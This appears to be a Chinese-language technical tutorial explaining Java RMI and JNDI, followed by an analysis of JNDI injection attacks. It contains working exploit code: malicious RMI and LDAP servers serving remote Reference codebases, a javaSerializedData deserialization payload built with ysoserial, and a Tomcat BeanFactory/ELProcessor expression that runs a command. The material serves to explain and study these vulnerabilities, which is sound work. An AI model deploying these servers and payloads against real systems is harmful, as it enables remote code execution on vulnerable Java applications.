RMI协议RMI(Remote Method Invocation)即Java远程方法调用。RMI协议可以使客户端像调用本地对象一样调用远程方法。
RMI包括以下三个部分:
Registry:注册中心,提供服务的注册与获取。 Server:提供远程方法,同时还会向Registry注册自身提供的远程方法,注册时提供地址、端口号、服务名称等信息。 Client:调用远程方法,Client会向Registry获取远程方法的地址、端口号然后调用远程方法。 RMI的完整流程如下
Register启动,监听1099端口 RMIServer向Register注册远程对象, RMIClient从Register处获得远程对象的代理(Stub),然后RMIClient通过Stub调用远程对象的方法,Stub会根据远程对象的地址和端口号和RMIServer交互。 同时RMIServer也存在一个代理(Skeltion),Skeltion根据RMIClient调用的方法执行对应的方法并将处理的结果返回给RMIClient。
然后这里通过代码实现RMI:
RemoteHello接口首先需要定义一个远程接口:
1
2
3
4
5
6
import java.rmi.Remote ;
import java.rmi.RemoteException ;
interface RemoteHello extends Remote {
public String hello () throws RemoteException ;
}
RMIServer然后RMIServer中启动Registry,并在上面注册了一个远程对象:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.rmi.Naming ;
import java.rmi.RemoteException ;
import java.rmi.registry.LocateRegistry ;
import java.rmi.server.UnicastRemoteObject ;
public class HelloServer extends UnicastRemoteObject implements RemoteHello {
protected HelloServer () throws RemoteException {}
@Override
public String hello () throws RemoteException {
System . out . println ( "Function Called" );
return "Hello World" ;
}
public static void main ( String [] args ) throws Exception {
RemoteHello server = new HelloServer ();
LocateRegistry . createRegistry ( 1099 );
Naming . rebind ( "rmi://127.0.0.1:1099/hello" , server );
}
}
RMIClientClient使用Naming.lookup
拿到远程接口的实现类,然后通过本地的Stub调用远程方法
1
2
3
4
5
6
7
8
9
import java.rmi.Naming ;
public class RMIClient {
public static void main ( String [] args ) throws Exception {
String registry = "rmi://127.0.0.1:1099/hello" ;
RemoteHello hello = ( RemoteHello ) Naming . lookup ( registry );
System . out . println ( hello . hello ());
}
}
JNDIJNDI(JavaNaming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,JNDI规范允许我们通过对象的名称来访问这个数据源对象,而该对象可能储存在不同的命名或目录服务中,例如RMI、LDAP、CORBA。
JNDI包括Naming Service
和Directory Service
Naming Service
:命名服务是名称与值相关联的实体,称为"绑定"。它提供了一种使用"find"或"search"操作来根据名称查找对象的便捷方式。Directory Service
:是一种特殊的Naming Service
,它允许存储和搜索"目录对象",一个目录对象不同于一个通用对象,目录对象可以与属性关联,因此,目录服务提供了对象属性进行操作功能的扩展。JNDI结合RMI配合使用的实例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.naming.Context ;
import javax.naming.InitialContext ;
import java.util.Properties ;
public class Test {
public static void main ( String [] args ) throws Exception {
Properties env = new Properties ();
env . put ( Context . INITIAL_CONTEXT_FACTORY , "com.sun.jndi.rmi.registry.RegistryContextFactory" );
env . put ( Context . PROVIDER_URL , "rmi://127.0.0.1:1099" );
Context ctx = new InitialContext ( env );
RemoteHello hello = ( RemoteHello ) ctx . lookup ( "hello" );
System . out . println ( hello . hello ());
}
}
JNDI还支持动态协议转换,例如:
1
2
Context ctx = new InitialContext ();
RemoteHello hello = ( RemoteHello ) ctx . lookup ( "rmi://127.0.0.1:1099/hello" );
在这个例子中没有设置对应服务的工厂以及PROVIDER_URL,JNDI根据传递的URL协议自动转换与设置了对应的工厂与PROVIDER_URL。
JNDI注入+RMIJNDI接口初始化时会将URI传入InitialContext.lookup()
方法,如果lookup()
方法的参数可控,则可能会造成攻击:
1
2
3
String uri = "rmi://127.0.0.1:1099/hello" ;
Context ctx = new InitialContext ();
RemoteHello hello = ( RemoteHello ) ctx . lookup ( uri );
RMI Server中除了可以绑定远程对象以外还可以绑定Reference对象。RMI Client调用lookup()
方法获取到远程的Reference对象后,客户端会获取相应的ObjectFactory类,通过Factory类将Reference转化为具体的实例。这里的利用点在于Reference类可控classFactoryLocation
参数,当本地找不到ObjectFactory类时会去classFactoryLocation
参数指向的地址获取ObjectFactory类进行加载。
在恶意服务器上的代码如下:
1
2
3
4
5
LocateRegistry . createRegistry ( 1099 );
String url = "http://127.0.0.1:8888/#Exploit" ;
Reference ref = new Reference ( "Exploit" , "Exploit" , url );
ReferenceWrapper refw = new ReferenceWrapper ( ref );
Naming . bind ( "rmi://127.0.0.1:1099/Exploit" , refw );
这里因为RMI注册的类必须实现Remote接口和继承UnicastRemoteObject类,而Reference类没有实现Remote接口也没有继承UnicastRemoteObject类,所以需要使用ReferenceWrapper类对其进行封装。
这里还是对JDK源码对攻击流程进行分析:
首先入口是在InitialContext.lookup()
,它通过一系列操作调用到了RegistryContext.lookup()
方法。
在这里先调用了registry.lookup()
方法,在lookup()
方法中用这两行代码读取ReferenceWrapper类然后返回
1
2
java . io . ObjectInput in = call . getInputStream ();
$result = ( java . rmi . Remote ) in . readObject ();
接着将obj传入了decodeObject()
方法,然后在decodeObject()
方法中调用了NamingManager.getObjectInstance()
方法对类进行实例化。
在NamingManager.getObjectInstance()
方法中需要获取到ObjectFactory
类并利用ObjectFactory
对远程类进行实例化
1
2
3
4
factory = getObjectFactoryFromReference ( ref , f );
if ( factory != null ) {
return factory . getObjectInstance ( ref , name , nameCtx , environment );
}
在调用getObjectFactoryFromReference()
方法获取ObjectFactory
类时调用了helper.loadClass()
方法对远程的ObjectFactory
类进行加载并实例化:
1
clas = helper . loadClass ( factoryName , codebase );
然后就会去远程的恶意服务器获取字节码进行加载,造成RCE。
整个利用流程如下:
首先需要编写恶意类,可以在构造方法、静态方法或getObjectInstance()
方法中写恶意代码 在RMI Server中绑定一个用ReferenceWrapper
封装的Reference类,其中指定classFactoryLocation
为远程类的地址,该地址可以是file/http/ftp
协议的 然后RMI Client
调用InitialContext.lookup()
方法时RMI Server
返回一个Reference
类,接着RMI Client
会动态加载并实例化ObjectFactory
类,并调用ObjectFactory
类的getObjectInstance()
方法 在本地找不到ObjectFactory
类时,会去远程的恶意服务器获取ObjectFactory
类进行加载并实例化造成RCE 但是在JDK 6u132、7u122、8u113之后新增了com.sun.jndi.rmi.object.trustURLCodebase
选项,并且默认值为false,不允许从远程的Codebase
加载Reference
的工厂类。decodeObject()
方法中有对com.sun.jndi.rmi.object.trustURLCodebase
进行判断
JNDI注入+LDAP使用LDAP进行JNDI注入的原理与RMI类似,都使用了Reference远程加载Factory类,而且LDAP不受com.sun.jndi.rmi.object.trustURLCodebase
的影响。
LDAP Server的代码如下(改自marshalsec ):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com" ;
public static void main ( String [] args ) throws Exception {
String url = "http://127.0.0.1:8888/#Exploit" ;
int port = 9999 ;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig ( LDAP_BASE );
config . setListenerConfigs ( new InMemoryListenerConfig (
"listen" ,
InetAddress . getByName ( "0.0.0.0" ),
port ,
ServerSocketFactory . getDefault (),
SocketFactory . getDefault (),
( SSLSocketFactory ) SSLSocketFactory . getDefault ()));
config . addInMemoryOperationInterceptor ( new OperationInterceptor ( new URL ( url )));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer ( config );
System . out . println ( "Listening on 0.0.0.0:" + port );
ds . startListening ();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
final private URL codebase ;
public OperationInterceptor ( URL cb ) {
this . codebase = cb ;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result . getRequest (). getBaseDN ();
Entry e = new Entry ( base );
try {
sendResult ( result , base , e );
}
catch ( Exception e1 ) {
e1 . printStackTrace ();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result , String base , Entry e ) throws Exception {
URL turl = new URL ( this . codebase , this . codebase . getRef (). replace ( '.' , '/' ). concat ( ".class" ));
System . out . println ( "Send LDAP reference result for " + base + " redirecting to " + turl );
e . addAttribute ( "javaClassName" , "foo" );
String cbstring = this . codebase . toString ();
int refPos = cbstring . indexOf ( '#' );
if ( refPos > 0 ) {
cbstring = cbstring . substring ( 0 , refPos );
}
e . addAttribute ( "javaCodeBase" , cbstring );
e . addAttribute ( "objectClass" , "javaNamingReference" );
e . addAttribute ( "javaFactory" , this . codebase . getRef ());
result . sendSearchEntry ( e );
result . setResult ( new LDAPResult ( 0 , ResultCode . SUCCESS ));
}
}
}
Ldap Client代码如下:
1
2
3
String registry = "ldap://127.0.0.1:9999/Exploit" ;
Context ctx = new InitialContext ();
ctx . lookup ( registry );
然后将恶意类编译后放在http页面,客户端调用InitialContext.lookup()
方法时可进行RCE。
然后还是对执行的流程进行分析,这里直接开始看LdapCtx.c_lookup()
方法,下面这两行代码比较关键:
1
2
3
4
5
6
if ( attrs . get ( Obj . JAVA_ATTRIBUTES [ Obj . CLASSNAME ] ) != null ) {
// serialized object or object reference
obj = Obj . decodeObject ( attrs );
}
//somecode
return DirectoryManager . getObjectInstance ( obj , name , this , envprops , attrs );
首先调用Obj.decodeObject()
方法获取到Reference
类,然后将其传入DirectoryManager.getObjectInstance()
方法。
在Obj.decodeObject()
方法中检测到attr
中包含javaNamingReference
则会进入decodeReference()
方法,该方法中实例化了一个Reference
类并返回
1
2
Reference ref = new Reference ( className , factory ,
( codebases != null ? codebases [ 0 ] : null ));
然后进入到DirectoryManager.getObjectInstance()
方法,后面的调用就和RMI一样,调用getObjectFactoryFromReference()
方法获取ObjectFactory
类用于加载远程类,在加载Factory
类时去classFactoryLocation
指向的恶意服务器上面获取到了恶意类导致RCE。
然后在JDK 6u211、7u201、8u191之后新增了com.sun.jndi.ldap.object.trustURLCodebase
选项,并且默认值为false,默认不允许ldap加载远程工厂类
利用javaSerializedData触发本地Gadget在分析LDAP进行JNDI注入流程时发现在 Obj.decodeObject()
方法中有这样一段代码
如果在attr中存在javaSerializedData
则进入到deserializeObject()
方法中,然后在deserializeObject()
方法中执行了readObject()
操作
我本地的JDK版本是JDK8u312,在执行deserializeObject()
方法前判断了com.sun.jndi.ldap.object.trustSerialData
是否为true。我看了下Github,对trustSerialData
的判断大概是在今年9月份添加的,jdk8u282版本及以下都还是能用的。
这里先在maven中引入Commons-Collections-3.1库
1
2
3
4
5
<dependency>
<groupId> commons-collections</groupId>
<artifactId> commons-collections</artifactId>
<version> 3.1</version>
</dependency>
然后使用ysoserial工具选择CC5的链生成payload,服务端代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com" ;
public static void main ( String [] args ) throws Exception {
int port = 9999 ;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig ( LDAP_BASE );
config . setListenerConfigs ( new InMemoryListenerConfig (
"listen" ,
InetAddress . getByName ( "0.0.0.0" ),
port ,
ServerSocketFactory . getDefault (),
SocketFactory . getDefault (),
( SSLSocketFactory ) SSLSocketFactory . getDefault ()));
config . addInMemoryOperationInterceptor ( new OperationInterceptor ());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer ( config );
System . out . println ( "Listening on 0.0.0.0:" + port );
ds . startListening ();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result . getRequest (). getBaseDN ();
Entry e = new Entry ( base );
try {
e . addAttribute ( "javaClassName" , "foo" );
e . addAttribute ( "javaSerializedData" , Base64 . getDecoder (). decode ( "rO0ABXNyAC5q……base64 cc5 here……AAAAAHh4" ));
result . sendSearchEntry ( e );
result . setResult ( new LDAPResult ( 0 , ResultCode . SUCCESS ));
}
catch ( Exception e1 ) {
e1 . printStackTrace ();
}
}
}
}
这里测试时手动将com.sun.jndi.ldap.object.trustSerialData
设置为了false,客户端代码如下:
1
2
3
4
System . setProperty ( "com.sun.jndi.ldap.object.trustSerialData" , "true" );
String registry = "ldap://127.0.0.1:9999/Exploit" ;
Context ctx = new InitialContext ();
ctx . lookup ( registry );
执行客户端代码之后会对javaSerializedData
进行反序列化造成RCE。
可以弹出计算器:
利用本地Factory类在JDK8u191版本以后限制了远程Factory类的加载后,还可以利用本地Factory类进行RCE。之前利用远程Factory类进行RCE时,在NamingManager.getObjectInstance()
方法中在这里获取到了远程的Factory类进行加载然后造成RCE。
然后它获取到Factory类之后还会调用getObjectInstance()
类对Reference引用的类进行实例化。
这个本地Factory类需要实现javax.naming.spi.getObjectInstance
接口,这里可以利用org.apache.naming.factory.BeanFactory
类作为本地Factory类,然后将javax.el.ELProcessor
类作为目标类,利用EL表达式执行命令。这里用到的这个类需要在Tomcat 8+
或SpringBoot 1.2.x+
的环境。
在BeanFactory
类的getObjectInstance()
方法中通过反射对传入的Reference类指向的beanClass
进行了实例化。
然后调用了setter对属性进行赋值。这里还可以使用forceString
将某个方法强制指定为setter,可以将javax.el.ELProcessor
类的eval方法指定为setter,然后可以调用javax.el.ELProcessor
类的eval方法利用EL表达式执行命令。
这里要先在maven中加入这一段引入相关的库:
1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId> org.apache.tomcat</groupId>
<artifactId> tomcat-catalina</artifactId>
<version> 8.5.0</version>
</dependency>
<dependency>
<groupId> org.apache.el</groupId>
<artifactId> com.springsource.org.apache.el</artifactId>
<version> 7.0.26</version>
</dependency>
RMI Server代码:
1
2
3
4
5
6
LocateRegistry . createRegistry ( 1099 );
ResourceRef ref = new ResourceRef ( "javax.el.ELProcessor" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null );
ref . add ( new StringRefAddr ( "forceString" , "x=eval" ));
ref . add ( new StringRefAddr ( "x" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")" ));
ReferenceWrapper referenceWrapper = new ReferenceWrapper ( ref );
Naming . bind ( "rmi://127.0.0.1:1099/Exploit" , referenceWrapper );
RMI Client代码:
1
2
3
String url = "rmi://127.0.0.1:1099/Exploit" ;
Context ctx = new InitialContext ();
ctx . lookup ( url );
执行后可以弹出计算器
Refererhttps://www.anquanke.com/post/id/221917
https://paper.seebug.org/1207/
https://paper.seebug.org/942/
https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/